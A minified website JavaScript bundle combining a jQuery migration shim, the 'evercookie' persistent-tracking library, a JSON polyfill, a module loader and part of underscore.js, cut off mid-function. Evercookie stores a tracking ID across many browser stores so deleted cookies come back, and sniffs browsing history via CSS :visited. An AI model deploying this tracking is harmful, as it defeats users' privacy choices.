is deprecated"),e.sub=function(){function t(e,n){return new t.fn.init(e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this(),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(r,i){return i&&i instanceof e&&!(i instanceof t)&&(i=t(i)),e.fn.init.call(this,r,i,n)},t.fn.init.prototype=t.fn;var n=t(document);return r("jQuery.sub() is deprecated"),t},e.ajaxSetup({converters:{"text json":e.parseJSON}});var b=e.fn.data;e.fn.data=function(t){var i,s,o=this[0];return!o||"events"!==t||1!==arguments.length||(i=e.data(o,t),s=e._data(o,t),i!==n&&i!==s||s===n)?b.apply(this,arguments):(r("Use of jQuery.fn.data('events') is deprecated"),s)};var w=/\/(java|ecma)script/i,E=e.fn.andSelf||e.fn.addBack;e.fn.andSelf=function(){return r("jQuery.fn.andSelf() replaced by jQuery.fn.addBack()"),E.apply(this,arguments)},e.clean||(e.clean=function(t,i,s,o){i=i||document,i=!i.nodeType&&i[0]||i,i=i.ownerDocument||i,r("jQuery.clean() is deprecated");var u,a,f,l,c=[];if(e.merge(c,e.buildFragment(t,i).childNodes),s)for(f=function(e){return!e.type||w.test(e.type)?o?o.push(e.parentNode?e.parentNode.removeChild(e):e):s.appendChild(e):n},u=0;null!=(a=c[u]);u++)e.nodeName(a,"script")&&f(a)||(s.appendChild(a),a.getElementsByTagName!==n&&(l=e.grep(e.merge([],a.getElementsByTagName("script")),f),c.splice.apply(c,[u+1,0].concat(l)),u+=l.length));return c});var S=e.event.add,x=e.event.remove,T=e.event.trigger,N=e.fn.toggle,C=e.fn.live,k=e.fn.die,L="ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",A=RegExp("\\b(?:"+L+")\\b"),O=/(?:^|\s)hover(\.\S+|)\b/,M=function(t){return"string"!=typeof t||e.event.special.hover?t:(O.test(t)&&r("'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'"),t&&t.replace(O,"mouseenter$1 mouseleave$1"))};e.event.props&&"attrChange"!==e.event.props[0]&&e.event.props.unshift("attrChange","attrName","relatedNode","srcElement"),e.event.dispatch&&i(e.event,"handle",e.event.dispatch,"jQuery.event.handle is undocumented and deprecated"),e.event.add=function(e,t,n,i,s){e!==document&&A.test(t)&&r("AJAX events should be attached to document: "+t),S.call(this,e,M(t||""),n,i,s)},e.event.remove=function(e,t,n,r,i){x.call(this,e,M(t)||"",n,r,i)},e.fn.error=function(){var e=Array.prototype.slice.call(arguments,0);return r("jQuery.fn.error() is deprecated"),e.splice(0,0,"error"),arguments.length?this.bind.apply(this,e):(this.triggerHandler.apply(this,e),this)},e.fn.toggle=function(t,n){if(!e.isFunction(t)||!e.isFunction(n))return N.apply(this,arguments);r("jQuery.fn.toggle(handler, handler...) is deprecated");var i=arguments,s=t.guid||e.guid++,o=0,u=function(n){var r=(e._data(this,"lastToggle"+t.guid)||0)%o;return e._data(this,"lastToggle"+t.guid,r+1),n.preventDefault(),i[r].apply(this,arguments)||!1};for(u.guid=s;i.length>o;)i[o++].guid=s;return this.click(u)},e.fn.live=function(t,n,i){return r("jQuery.fn.live() is deprecated"),C?C.apply(this,arguments):(e(this.context).on(t,this.selector,n,i),this)},e.fn.die=function(t,n){return r("jQuery.fn.die() is deprecated"),k?k.apply(this,arguments):(e(this.context).off(t,this.selector||"**",n),this)},e.event.trigger=function(e,t,n,i){return n||A.test(e)||r("Global events are undocumented and deprecated"),T.call(this,e,t,n||document,i)},e.each(L.split("|"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add(document,n+"."+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!1},teardown:function(){return this!==document&&e.event.remove(document,n+"."+e._data(this,n)),!1}}})}(jQuery,window);var _ec_history=1;var _ec_tests=10;var _ec_debug=0;var _global_lso;var evercookie=function(){this._class=function(){var self=this;_baseKeyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";this._ec={};var no_color=-1;this.get=function(e,t,n){$(document).ready(function(){self._evercookie(e,t,undefined,undefined,n)})};this.set=function(e,t){$(document).ready(function(){self._evercookie(e,function(){},t)})};this._evercookie=function(e,t,n,r,i){if(typeof self._evercookie=="undefined")self=this;if(typeof r=="undefined")r=0;if(r==0){self.evercookie_database_storage(e,n);self.evercookie_png(e,n);self.evercookie_etag(e,n);self.evercookie_cache(e,n);self.evercookie_lso(e,n);self.evercookie_silverlight(e,n);self._ec.userData=self.evercookie_userdata(e,n);self._ec.cookieData=self.evercookie_cookie(e,n);self._ec.localData=self.evercookie_local_storage(e,n);self._ec.globalData=self.evercookie_global_storage(e,n);self._ec.sessionData=self.evercookie_session_storage(e,n);self._ec.windowData=self.evercookie_window(e,n);if(_ec_history)self._ec.historyData=self.evercookie_history(e,n)}if(typeof n!="undefined"){if((typeof _global_lso=="undefined"||typeof _global_isolated=="undefined")&&r++<_ec_tests)setTimeout(function(){self._evercookie(e,t,n,r,i)},300)}else{if((window.openDatabase&&typeof self._ec.dbData=="undefined"||typeof _global_lso=="undefined"||typeof self._ec.etagData=="undefined"||typeof self._ec.cacheData=="undefined"||document.createElement("canvas").getContext&&(typeof self._ec.pngData=="undefined"||self._ec.pngData=="")||typeof _global_isolated=="undefined")&&r++<_ec_tests){setTimeout(function(){self._evercookie(e,t,n,r,i)},300)}else{self._ec.lsoData=self.getFromStr(e,_global_lso);_global_lso=undefined;self._ec.slData=self.getFromStr(e,_global_isolated);_global_isolated=undefined;var s=self._ec;self._ec={};var o=new Array;var u=0;var a;for(var f in s){if(typeof s[f]!="undefined"&&typeof s[f]!="null"&&s[f]!=""&&s[f]!="null"&&s[f]!="undefined"&&s[f]!=null){o[s[f]]=typeof o[s[f]]=="undefined"?1:o[s[f]]+1}}for(var f in o){if(o[f]>u){u=o[f];a=f}}if(typeof i=="undefined"||i!=1)self.set(e,a);if(typeof t=="function")t(a,s)}}};this.evercookie_window=function(e,t){try{if(typeof t!="undefined")window.name=_ec_replace(window.name,e,t);else return this.getFromStr(e,window.name)}catch(n){}};this.evercookie_userdata=function(e,t){try{var n=this.createElem("div","userdata_el",1);n.style.behavior="url(#default#userData)";if(typeof t!="undefined"){n.setAttribute(e,t);n.save(e)}else{n.load(e);return n.getAttribute(e)}}catch(r){}};this.evercookie_cache=function(e,t){if(typeof t!="undefined"){document.cookie="evercookie_cache="+t;var n=new Image;n.style.visibility="hidden";n.style.position="absolute";n.src="evercookie_cache.php?name="+e}else{var r=this.getFromStr("evercookie_cache",document.cookie);self._ec.cacheData=undefined;document.cookie="evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/";$.ajax({url:"evercookie_cache.php?name="+e,success:function(e){document.cookie="evercookie_cache="+r+"; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/";self._ec.cacheData=e}})}};this.evercookie_etag=function(e,t){if(typeof t!="undefined"){document.cookie="evercookie_etag="+t;var n=new Image;n.style.visibility="hidden";n.style.position="absolute";n.src="evercookie_etag.php?name="+e}else{var r=this.getFromStr("evercookie_etag",document.cookie);self._ec.etagData=undefined;document.cookie="evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/";$.ajax({url:"evercookie_etag.php?name="+e,success:function(e){document.cookie="evercookie_etag="+r+"; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/";self._ec.etagData=e}})}};this.evercookie_lso=function(e,t){var n=document.getElementById("swfcontainer");if(!n){n=document.createElement("div");n.setAttribute("id","swfcontainer");document.body.appendChild(n)}var r={};if(typeof t!="undefined")r.everdata=e+"="+t;var i={};i.swliveconnect="true";var s={};s.id="myswf";s.name="myswf";swfobject.embedSWF("evercookie.swf","swfcontainer","1","1","9.0.0",false,r,i,s)};this.evercookie_png=function(e,t){if(document.createElement("canvas").getContext){if(typeof t!="undefined"){document.cookie="evercookie_png="+t;var n=new Image;n.style.visibility="hidden";n.style.position="absolute";n.src="evercookie_png.php?name="+e}else{self._ec.pngData=undefined;var r=document.createElement("canvas");r.style.visibility="hidden";r.style.position="absolute";r.width=200;r.height=1;var i=r.getContext("2d");var s=this.getFromStr("evercookie_png",document.cookie);document.cookie="evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/";var n=new Image;n.style.visibility="hidden";n.style.position="absolute";n.src="evercookie_png.php?name="+e;n.onload=function(){document.cookie="evercookie_png="+s+"; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/";self._ec.pngData="";i.drawImage(n,0,0);var e=i.getImageData(0,0,200,1);var t=e.data;for(var r=0,o=t.length;r<o;r+=4){if(t[r]==0)break;self._ec.pngData+=String.fromCharCode(t[r]);if(t[r+1]==0)break;self._ec.pngData+=String.fromCharCode(t[r+1]);if(t[r+2]==0)break;self._ec.pngData+=String.fromCharCode(t[r+2])}}}}};this.evercookie_local_storage=function(e,t){try{if(window.localStorage){if(typeof t!="undefined")localStorage.setItem(e,t);else return localStorage.getItem(e)}}catch(n){}};this.evercookie_database_storage=function(e,t){try{if(window.openDatabase){var n=window.openDatabase("sqlite_evercookie","","evercookie",1024*1024);if(typeof t!="undefined")n.transaction(function(n){n.executeSql("CREATE TABLE IF NOT EXISTS cache("+"id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "+"name TEXT NOT NULL, "+"value TEXT NOT NULL, "+"UNIQUE (name)"+")",[],function(e,t){},function(e,t){});n.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)",[e,t],function(e,t){},function(e,t){})});else{n.transaction(function(t){t.executeSql("SELECT value FROM cache WHERE name=?",[e],function(e,t){if(t.rows.length>=1)self._ec.dbData=t.rows.item(0)["value"];else self._ec.dbData=""},function(e,t){})})}}}catch(r){}};this.evercookie_session_storage=function(e,t){try{if(window.sessionStorage){if(typeof t!="undefined")sessionStorage.setItem(e,t);else return sessionStorage.getItem(e)}}catch(n){}};this.evercookie_global_storage=function(name,value){if(window.globalStorage){var host=this.getHost();try{if(typeof value!="undefined")eval("globalStorage[host]."+name+" = value");else return eval("globalStorage[host]."+name)}catch(e){}}};this.evercookie_silverlight=function(e,t){var n="evercookie.xap";var r="4.0.50401.0";var i="";if(typeof t!="undefined")i='<param name="initParams" value="'+e+"="+t+'" />';var s='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">'+i+'<param name="source" value="'+n+'"/>'+'<param name="onLoad" value="onSilverlightLoad"/>'+'<param name="onError" value="onSilverlightError"/>'+'<param name="background" value="Transparent"/>'+'<param name="windowless" value="true"/>'+'<param name="minRuntimeVersion" value="'+r+'"/>'+'<param name="autoUpgrade" value="true"/>'+'<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+r+'" style="text-decoration:none">'+'<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>'+"</a>"+"</object>";document.body.innerHTML+=s};this.encode=function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=this._utf8_encode(e);while(f<e.length){n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+_baseKeyStr.charAt(s)+_baseKeyStr.charAt(o)+_baseKeyStr.charAt(u)+_baseKeyStr.charAt(a)}return t};this.decode=function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");while(f<e.length){s=_baseKeyStr.indexOf(e.charAt(f++));o=_baseKeyStr.indexOf(e.charAt(f++));u=_baseKeyStr.indexOf(e.charAt(f++));a=_baseKeyStr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=this._utf8_decode(t);return t};this._utf8_encode=function(e){e=e.replace(/\r\n/g,"\n");var t="";for(var n=0;n<e.length;n++){var r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r)}else if(r>127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t};this._utf8_decode=function(e){var t="";var n=0;var r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t};this.evercookie_history=function(e,t){var n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";var r=n.split("");var i="http://www.google.com/evercookie/cache/"+this.getHost()+"/"+e;if(typeof t!="undefined"){if(this.hasVisited(i))return;this.createIframe(i,"if");i=i+"/";var s=this.encode(t).split("");for(var o=0;o<s.length;o++){i=i+s[o];this.createIframe(i,"if"+o)}i=i+"-";this.createIframe(i,"if_")}else{if(this.hasVisited(i)){i=i+"/";var u="";var a="";var f=1;while(u!="-"&&f==1){f=0;for(var o=0;o<r.length;o++){if(this.hasVisited(i+r[o])){u=r[o];if(u!="-")a=a+u;i=i+u;f=1;break}}}return this.decode(a)}}};this.createElem=function(e,t,n){var r;if(typeof t!="undefined"&&document.getElementById(t))r=document.getElementById(t);else r=document.createElement(e);r.style.visibility="hidden";r.style.position="absolute";if(t)r.setAttribute("id",t);if(n)document.body.appendChild(r);return r};this.createIframe=function(e,t){var n=this.createElem("iframe",t,1);n.setAttribute("src",e);return n};this.waitForSwf=function(e){if(typeof e=="undefined")e=0;else e++;if(e<_ec_tests&&typeof swfobject=="undefined")setTimeout(function(){waitForSwf(e)},300)};this.evercookie_cookie=function(e,t){try{if(typeof t!="undefined"){document.cookie=e+"=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/";document.cookie=e+"="+t+"; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/"}else return this.getFromStr(e,document.cookie)}catch(n){}};this.getFromStr=function(e,t){if(typeof t!="string")return;var n=e+"=";var r=t.split(/[;&]/);for(var i=0;i<r.length;i++){var s=r[i];while(s.charAt(0)==" ")s=s.substring(1,s.length);if(s.indexOf(n)==0)return s.substring(n.length,s.length)}};this.getHost=function(){var e=document.location.host;if(e.indexOf("www.")==0)e=e.replace("www.","");return e};this.toHex=function(e){var t="";var n=e.length;var r=0;var i;while(r<n){i=e.charCodeAt(r++).toString(16);while(i.length<2)i="0"+i;t+=i}return t};this.fromHex=function(e){var t="";var n=e.length;var r;while(n>=0){r=n-2;t=String.fromCharCode("0x"+e.substring(r,n))+t;n=r}return t};this.hasVisited=function(e){if(this.no_color==-1){var t=this._getRGB("http://samy-was-here-this-should-never-be-visited.com",-1);if(t==-1)this.no_color=this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com")}if(e.indexOf("https:")==0||e.indexOf("http:")==0)return this._testURL(e,this.no_color);return this._testURL("http://"+e,this.no_color)||this._testURL("https://"+e,this.no_color)||this._testURL("http://www."+e,this.no_color)||this._testURL("https://www."+e,this.no_color)};var _link=this.createElem("a","_ec_rgb_link");var created_style;var _cssText="#_ec_rgb_link:visited{display:none;color:#FF0000}";try{created_style=1;var style=document.createElement("style");if(style.styleSheet)style.styleSheet.innerHTML=_cssText;else if(style.innerHTML)style.innerHTML=_cssText;else{var cssT=document.createTextNode(_cssText);style.appendChild(cssT)}}catch(e){created_style=0}this._getRGB=function(e,t){if(t&&created_style==0)return-1;_link.href=e;_link.innerHTML=e;document.body.appendChild(style);document.body.appendChild(_link);var n;if(document.defaultView)n=document.defaultView.getComputedStyle(_link,null).getPropertyValue("color");else n=_link.currentStyle["color"];return n};this._testURL=function(e,t){var n=this._getRGB(e);if(n=="rgb(255, 0, 0)"||n=="#ff0000")return 1;else if(t&&n!=t)return 1;return 0}};return _class}();var _global_isolated;var JSON;if(!JSON){JSON={}}(function(){"use strict";function f(e){return e<10?"0"+e:e}function quote(e){escapable.lastIndex=0;return escapable.test(e)?'"'+e.replace(escapable,function(e){var t=meta[e];return typeof t==="string"?t:"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+e+'"'}function str(e,t){var n,r,i,s,o=gap,u,a=t[e];if(a&&typeof a==="object"&&typeof a.toJSON==="function"){a=a.toJSON(e)}if(typeof rep==="function"){a=rep.call(t,e,a)}switch(typeof a){case"string":return quote(a);case"number":return isFinite(a)?String(a):"null";case"boolean":case"null":return String(a);case"object":if(!a){return"null"}gap+=indent;u=[];if(Object.prototype.toString.apply(a)==="[object Array]"){s=a.length;for(n=0;n<s;n+=1){u[n]=str(n,a)||"null"}i=u.length===0?"[]":gap?"[\n"+gap+u.join(",\n"+gap)+"\n"+o+"]":"["+u.join(",")+"]";gap=o;return i}if(rep&&typeof rep==="object"){s=rep.length;for(n=0;n<s;n+=1){if(typeof rep[n]==="string"){r=rep[n];i=str(r,a);if(i){u.push(quote(r)+(gap?": ":":")+i)}}}}else{for(r in a){if(Object.prototype.hasOwnProperty.call(a,r)){i=str(r,a);if(i){u.push(quote(r)+(gap?": ":":")+i)}}}}i=u.length===0?"{}":gap?"{\n"+gap+u.join(",\n"+gap)+"\n"+o+"}":"{"+u.join(",")+"}";gap=o;return i}}if(typeof Date.prototype.toJSON!=="function"){Date.prototype.toJSON=function(e){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(e){return this.valueOf()}}var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\b":"\\b"," ":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;if(typeof JSON.stringify!=="function"){JSON.stringify=function(e,t,n){var r;gap="";indent="";if(typeof n==="number"){for(r=0;r<n;r+=1){indent+=" "}}else if(typeof n==="string"){indent=n}rep=t;if(t&&typeof t!=="function"&&(typeof t!=="object"||typeof t.length!=="number")){throw new Error("JSON.stringify")}return str("",{"":e})}}if(typeof JSON.parse!=="function"){JSON.parse=function(text,reviver){function walk(e,t){var n,r,i=e[t];if(i&&typeof i==="object"){for(n in i){if(Object.prototype.hasOwnProperty.call(i,n)){r=walk(i,n);if(r!==undefined){i[n]=r}else{delete i[n]}}}}return reviver.call(e,t,i)}var j;text=String(text);cx.lastIndex=0;if(cx.test(text)){text=text.replace(cx,function(e){return"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)})}if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,""))){j=eval("("+text+")");return typeof reviver==="function"?walk({"":j},""):j}throw new SyntaxError("JSON.parse")}}})();var require=function(e,t){var n=require.resolve(e,t||"/");var r=require.modules[n];if(!r){throw new Error("Failed to resolve module "+e+", tried "+n)}var i=r._cached?r._cached:r();return i};require.paths=[];require.modules={};require.extensions=[".js",".coffee"];require._core={assert:true,events:true,fs:true,path:true,vm:true};require.resolve=function(){return function(e,t){function o(e){if(require.modules[e]){return e}for(var t=0;t<require.extensions.length;t++){var n=require.extensions[t];if(require.modules[e+n]){return e+n}}}function u(e){e=e.replace(/\/+$/,"");var t=e+"/package.json";if(require.modules[t]){var r=require.modules[t]();var i=r.browserify;if(typeof i==="object"&&i.main){var s=o(n.resolve(e,i.main));if(s){return s}}else{if(typeof i==="string"){var s=o(n.resolve(e,i));if(s){return s}}else{if(r.main){var s=o(n.resolve(e,r.main));if(s){return s}}}}}return o(e+"/index")}function a(e,t){var n=f(t);for(var r=0;r<n.length;r++){var i=n[r];var s=o(i+"/"+e);if(s){return s}var a=u(i+"/"+e);if(a){return a}}var s=o(e);if(s){return s}}function f(e){var t;if(e==="/"){t=[""]}else{t=n.normalize(e).split("/")}var r=[];for(var i=t.length-1;i>=0;i--){if(t[i]==="node_modules"){continue}var s=t.slice(0,i+1).join("/")+"/node_modules";r.push(s)}return r}if(!t){t="/"}if(require._core[e]){return e}var n=require.modules.path();t=n.resolve("/",t);var r=t||"/";if(e.match(/^(?:\.\.?\/|\/)/)){var i=o(n.resolve(r,e))||u(n.resolve(r,e));if(i){return i}}var s=a(e,r);if(s){return s}throw new Error("Cannot find module '"+e+"'")}}();require.alias=function(e,t){var n=require.modules.path();var r=null;try{r=require.resolve(e+"/package.json","/")}catch(i){r=require.resolve(e,"/")}var s=n.dirname(r);var o=(Object.keys||function(e){var t=[];for(var n in e){t.push(n)}return t})(require.modules);for(var u=0;u<o.length;u++){var a=o[u];if(a.slice(0,s.length+1)===s+"/"){var f=a.slice(s.length);require.modules[t+f]=require.modules[s+f]}else{if(a===s){require.modules[t]=require.modules[s]}}}};require.define=function(e,t){var n=require._core[e]?"":require.modules.path().dirname(e);var r=function(e){return require(e,n)};r.resolve=function(e){return require.resolve(e,n)};r.modules=require.modules;r.define=require.define;var i={exports:{}};require.modules[e]=function(){require.modules[e]._cached=i.exports;t.call(i.exports,r,i,i.exports,n,e);require.modules[e]._cached=i.exports;return i.exports}};if(typeof process==="undefined"){process={}}if(!process.nextTick){process.nextTick=function(){var e=[];var t=typeof window!=="undefined"&&window.postMessage&&window.addEventListener;if(t){window.addEventListener("message",function(t){if(t.source===window&&t.data==="browserify-tick"){t.stopPropagation();if(e.length>0){var n=e.shift();n()}}},true)}return function(n){if(t){e.push(n);window.postMessage("browserify-tick","*")}else{setTimeout(n,0)}}}()}if(!process.title){process.title="browser"}if(!process.binding){process.binding=function(e){if(e==="evals"){return require("vm")}else{throw new Error("No such module")}}}if(!process.cwd){process.cwd=function(){return"."}}if(!process.env){process.env={}}if(!process.argv){process.argv=[]}require.define("path",function(e,t,n,r,i){function s(e,t){var n=[];for(var r=0;r<e.length;r++){if(t(e[r],r,e)){n.push(e[r])}}return n}function o(e,t){var n=0;for(var r=e.length;r>=0;r--){var i=e[r];if(i=="."){e.splice(r,1)}else{if(i===".."){e.splice(r,1);n++}else{if(n){e.splice(r,1);n--}}}}if(t){for(;n--;n){e.unshift("..")}}return e}var u=/^(.+\/(?!$)|\/)?((?:.+?)?(\.[^.]*)?)$/;n.resolve=function(){var e="",t=false;for(var n=arguments.length;n>=-1&&!t;n--){var r=n>=0?arguments[n]:process.cwd();if(typeof r!=="string"||!r){continue}e=r+"/"+e;t=r.charAt(0)==="/"}e=o(s(e.split("/"),function(e){return!!e}),!t).join("/");return(t?"/":"")+e||"."};n.normalize=function(e){var t=e.charAt(0)==="/",n=e.slice(-1)==="/";e=o(s(e.split("/"),function(e){return!!e}),!t).join("/");if(!e&&!t){e="."}if(e&&n){e+="/"}return(t?"/":"")+e};n.join=function(){var e=Array.prototype.slice.call(arguments,0);return n.normalize(s(e,function(e,t){return e&&typeof e==="string"}).join("/"))};n.dirname=function(e){var t=u.exec(e)[1]||"";var n=false;if(!t){return"."}else{if(t.length===1||n&&t.length<=3&&t.charAt(1)===":"){return t}else{return t.substring(0,t.length-1)}}};n.basename=function(e,t){var n=u.exec(e)[2]||"";if(t&&n.substr(-1*t.length)===t){n=n.substr(0,n.length-t.length)}return n};n.extname=function(e){return u.exec(e)[3]||""}});require.define("/node_modules/jools/package.json",function(e,t,n,r,i){t.exports={main:"./lib/jools"}});require.define("/node_modules/jools/lib/jools.js",function(e,t,n,r,i){function u(e){this.rules=e}var s=e("./utils"),o=e("underscore");n.version="0.0.1";u.prototype.execute=function(e){var t=this,n=o.clone(e),r=o.clone(e),i=false;while(!i){var u=false;for(var a=0;a<this.rules.length;a++){var f=this.rules[a],l;o.flatten([f.condition]).forEach(function(e){e.__args=e.__args||s.paramNames(e);if(l){l=l&&e.apply({},s.paramsToArguments(n,e.__args))}else{l=e.apply({},s.paramsToArguments(n,e.__args))}});if(l){o.flatten([f.consequence]).forEach(function(t){t.__args=t.__args||s.paramNames(t);t.apply(n,s.paramsToArguments(e,t.__args));if(!o.isEqual(r,n)){u=true;r=o.clone(n)}})}if(u){break}}if(!u){i=true}}return n};t.exports=u});require.define("/node_modules/jools/lib/utils.js",function(e,t,n,r,i){t.exports.paramNames=function(e){var t=/function[^\(]*\(([^\)]*)\)/.exec(e.toString());if(!t){throw new TypeError("Invalid functions")}var n=[];t[1].split(",").forEach(function(e){n.push(e.replace(/^\s*|\s*$/g,""))});return n};t.exports.paramsToArguments=function(e,t){var n=[];t.forEach(function(t){n.push(e[t])});return n}});require.define("/node_modules/underscore/package.json",function(e,t,n,r,i){t.exports={main:"underscore.js"}});require.define("/node_modules/underscore/underscore.js",function(e,t,n,r,i){(function(){function L(e,t,n){if(e===t){return e!==0||1/e==1/t}if(e==null||t==null){return e===t}if(e._chain){e=e._wrapped}if(t._chain){t=t._wrapped}if(e.isEqual&&T.isFunction(e.isEqual)){return e.isEqual(t)}if(t.isEqual&&T.isFunction(t.isEqual)){return t.isEqual(e)}var r=l.call(e);if(r!=l.call(t)){return false}switch(r){case"[object String]":return e==String(t);case"[object Number]":return e!=+e?t!=+t:e==0?1/e==1/t:e==+t;case"[object Date]":case"[object Boolean]":return+e==+t;case"[object RegExp]":return e.source==t.source&&e.global==t.global&&e.multiline==t.multiline&&e.ignoreCase==t.ignoreCase}if(typeof e!="object"||typeof t!="object"){return false}var i=n.length;while(i--){if(n[i]==e){return true}}n.push(e);var s=0,o=true;if(r=="[object Array]"){s=e.length;o=s==t.length;if(o){while(s--){if(!(o=s in e==s in t&&L(e[s],t[s],n))){break}}}}else{if("constructor"in e!="constructor"in t||e.constructor!=t.constructor){return false}for(var u in e){if(T.has(e,u)){s++;if(!(o=T.has(t,u)&&L(e[u],t[u],n))){break}}}if(o){for(u in t){if(T.has(t,u)&&!(s--)){break}}o=!s}}n.pop();return o}var e=this;var r=e._;var i={};var s=Array.prototype,o=Object.prototype,u=Function.prototype;var a=s.slice,f=s.unshift,l=o.toString,c=o.hasOwnProperty;var h=s.forEach,p=s.map,d=s.reduce,v=s.reduceRight,m=s.filter,g=s.every,y=s.some,b=s.indexOf,w=s.lastIndexOf,E=Array.isArray,S=Object.keys,x=u.bind;var T=function(e){return new B(e)};if(typeof n!=="undefined"){if(typeof t!=="undefined"&&t.exports){n=t.exports=T}n._=T}else{e._=T}T.VERSION="1.3.3";var N=T.each=T.forEach=function(e,t,n){if(e==null){return}if(h&&e.forEach===h){e.forEach(t,n)}else{if(e.length===+e.length){for(var r=0,s=e.length;r<s;r++){if(r in e&&t.call(n,e[r],r,e)===i){return}}}else{for(var o in e){if(T.has(e,o)){if(t.call(n,e[o],o,e)===i){return}}}}}};T.map=T.collect=function(e,t,n){var r=[];if(e==null){return r}if(p&&e.map===p){return e.map(t,n)}N(e,function(e,i,s){r[r.length]=t.call(n,e,i,s)});if(e.length===+e.length){r.length=e.length}return r};T.reduce=T.foldl=T.inject=function(e,t,n,r){var i=arguments.length>2;if(e==null){e=[]}if(d&&e.reduce===d){if(r){t=T.bind(t,r)}return i?e.reduce(t,n):e.reduce(t)}N(e,function(e,s,o){if(!i){n=e;i=true}else{n=t.call(r,n,e,s,o)}});if(!i){throw new TypeError("Reduce of empty array with no initial value")}return n};T.reduceRight=T.foldr=function(e,t,n,r){var i=arguments.length>2;if(e==null){e=[]}if(v&&e.reduceRight===v){if(r){t=T.bind(t,r)}return i?e.reduceRight(t,n):e.reduceRight(t)}var s=T.toArray(e).reverse();if(r&&!i){t=T.bind(t,r)}return i?T.reduce(s,t,n,r):T.reduce(s,t)};T.find=T.detect=function(e,t,n){var r;C(e,function(e,i,s){if(t.call(n,e,i,s)){r=e;return true}});return r};T.filter=T.select=function(e,t,n){var r=[];if(e==null){return r}if(m&&e.filter===m){return e.filter(t,n)}N(e,function(e,i,s){if(t.call(n,e,i,s)){r[r.length]=e}});return r};T.reject=function(e,t,n){var r=[];if(e==null){return r}N(e,function(e,i,s){if(!t.call(n,e,i,s)){r[r.length]=e}});return r};T.every=T.all=function(e,t,n){var r=true;if(e==null){return r}if(g&&e.every===g){return e.every(t,n)}N(e,function(e,s,o){if(!(r=r&&t.call(n,e,s,o))){return i}});return!!r};var C=T.some=T.any=function(e,t,n){t||(t=T.identity);var r=false;if(e==null){return r}if(y&&e.some===y){return e.some(t,n)}N(e,function(e,s,o){if(r||(r=t.call(n,e,s,o))){return i}});return!!r};T.include=T.contains=function(e,t){var n=false;if(e==null){return n}if(b&&e.indexOf===b){return e.indexOf(t)!=-1}n=C(e,function(e){return e===t});return n};T.invoke=function(e,t){var n=a.call(arguments,2);return T.map(e,function(e){return(T.isFunction(t)?t||e:e[t]).apply(e,n)})};T.pluck=function(e,t){return T.map(e,function(e){return e[t]})};T.max=function(e,t,n){if(!t&&T.isArray(e)&&e[0]===+e[0]){return Math.max.apply(Math,e)}if(!t&&T.isEmpty(e)){return-Infinity}var 